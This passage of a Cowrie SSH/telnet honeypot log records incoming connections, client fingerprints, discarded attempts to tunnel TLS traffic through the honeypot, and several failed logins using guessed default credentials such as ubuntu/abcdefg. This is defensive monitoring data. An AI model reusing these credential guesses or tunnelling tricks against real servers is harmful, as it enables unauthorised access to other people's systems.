ZBnYhVwFGu3cratWIHD9Jf9P8St5LrBidmwF2lAYGyX%2B2lVxlaTYPqXE467CQEwHPhL91VMtl7MTEDjZ%2BfK8d6dn2NKqtGjlST%2BQ5C%2FBZS5d7vybSmyWD3eG4xgwUFlsyy0Ui5N04kFdUEPi8zAM1VRiT4XkZA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.067223Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.325355Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xad\\x19\\x8d/\\x80b\\xban\\xfc\\xc24\\xc0\\xc1T\\x0b\\x05\\xf53\\x0b\\x81\\x86)\\xcdm\\xff\\xd7\\x90\\x83G~\\xee \\xba\\x9e\\x1c\\xed\\xa4\\xfd\\x0c7\\xe9\\xc3\\xa1r\\t\\xc5\\x02\\xaa\\x1c\\x81\\x81\\xd7|\\xe6\\x1c\\x18\\x1a\\xe4;\\xcb\\x02Ur\\xec\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xe4\\xaf\\x99\\x8b\\x1e\\xb5J\\xcf&\\x0c\\xb8\\xa6`\\xb0}\\x0c\\n\\xb5\\xeb\\xfe,N\\x1d\\xb7\\xff5a\\xd0\\xfd\\x15\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xad\\x19\\x8d/\\x80b\\xban\\xfc\\xc24\\xc0\\xc1T\\x0b\\x05\\xf53\\x0b\\x81\\x86)\\xcdm\\xff\\xd7\\x90\\x83G~\\xee \\xba\\x9e\\x1c\\xed\\xa4\\xfd\\x0c7\\xe9\\xc3\\xa1r\\t\\xc5\\x02\\xaa\\x1c\\x81\\x81\\xd7|\\xe6\\x1c\\x18\\x1a\\xe4;\\xcb\\x02Ur\\xec\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xde\\xe4\\xaf\\x99\\x8b\\x1e\\xb5J\\xcf&\\x0c\\xb8\\xa6`\\xb0}\\x0c\\n\\xb5\\xeb\\xfe,N\\x1d\\xb7\\xff5a\\xd0\\xfd\\x15\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.332175Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:01.847944Z","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32308,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec2b8b5e025b","protocol":"ssh","message":"New connection: 91.92.40.36:32308 (159.203.135.109:22) [session: ec2b8b5e025b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:02.057198Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:02.113761Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb}\\xb3\\xe0\\x04\\x8a\\xb1-\\xe9\\x19\\x86s~\\xb0\\x80\\x07E\\xa3\\r`x&\\xef\\x04\"\\xde\\xfa\\x02\\x94s-\\xbd ^ \\xa4\"\\xc7\\x90l\\x84r>G\\xceg\\xac\\x80[\\x89{\\x96K\\x89\\xa2\\xa77\\x97\"}Y\\x01\\x1d\\x030\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 )\\x9c\\xaeu\\xb2\\xa7hZ3\\x17\\xac\\xe9Q\\x85e.\\x18\\xa4\\xdb\\xc8Y\\xeb|\\xb9S(\\x06\\x8f\\x8f\\xdc\\x91\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeb}\\xb3\\xe0\\x04\\x8a\\xb1-\\xe9\\x19\\x86s~\\xb0\\x80\\x07E\\xa3\\r`x&\\xef\\x04\"\\xde\\xfa\\x02\\x94s-\\xbd ^ \\xa4\"\\xc7\\x90l\\x84r>G\\xceg\\xac\\x80[\\x89{\\x96K\\x89\\xa2\\xa77\\x97\"}Y\\x01\\x1d\\x030\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 )\\x9c\\xaeu\\xb2\\xa7hZ3\\x17\\xac\\xe9Q\\x85e.\\x18\\xa4\\xdb\\xc8Y\\xeb|\\xb9S(\\x06\\x8f\\x8f\\xdc\\x91\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:02.116838Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:02.518392Z","src_ip":"113.164.152.20","session":"9cc22ce92dca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:04.556582Z","src_ip":"91.92.40.36","session":"ec2b8b5e025b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:04.578144Z","src_ip":"91.92.40.36","session":"ec2b8b5e025b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test12345","message":"login attempt [test/test12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:08.278891Z","src_ip":"91.92.40.36","session":"7fee0ab586ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b545af54559","protocol":"ssh","message":"New connection: 91.92.40.36:64574 (159.203.135.109:22) [session: 1b545af54559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:10.593406Z"}
{"eventid":"cowrie.session.closed","duration":35.849077224731445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:11.629755Z","src_ip":"172.81.62.90","session":"c92b3b59babf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:11.739187Z","src_ip":"91.92.40.36","session":"7fee0ab586ca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:12.747375Z","src_ip":"91.92.40.36","session":"1b545af54559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:12.751129Z","src_ip":"91.92.40.36","session":"1b545af54559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdefg","message":"login attempt [ubuntu/abcdefg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:14.173482Z","src_ip":"91.92.40.36","session":"ec2b8b5e025b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46520,"dst_ip":"159.203.135.109","dst_port":23,"session":"a344cfaf9a5d","protocol":"telnet","message":"New connection: 172.81.62.90:46520 (159.203.135.109:23) [session: a344cfaf9a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:16.029675Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37126,"dst_ip":"159.203.135.109","dst_port":22,"session":"376c51b7bd4b","protocol":"ssh","message":"New connection: 91.92.40.36:37126 (159.203.135.109:22) [session: 376c51b7bd4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:16.773099Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:16.956568Z","src_ip":"91.92.40.36","session":"ec2b8b5e025b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:19.015191Z","src_ip":"91.92.40.36","session":"376c51b7bd4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:19.018476Z","src_ip":"91.92.40.36","session":"376c51b7bd4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.505573987960815,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:19.369696Z","src_ip":"172.81.62.90","session":"53bbff9bb8ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Pa55w0rd","message":"login attempt [debian/Pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:23.104823Z","src_ip":"91.92.40.36","session":"1b545af54559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37166,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7716052a101","protocol":"ssh","message":"New connection: 91.92.40.36:37166 (159.203.135.109:22) [session: e7716052a101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:57:24.455259Z"}
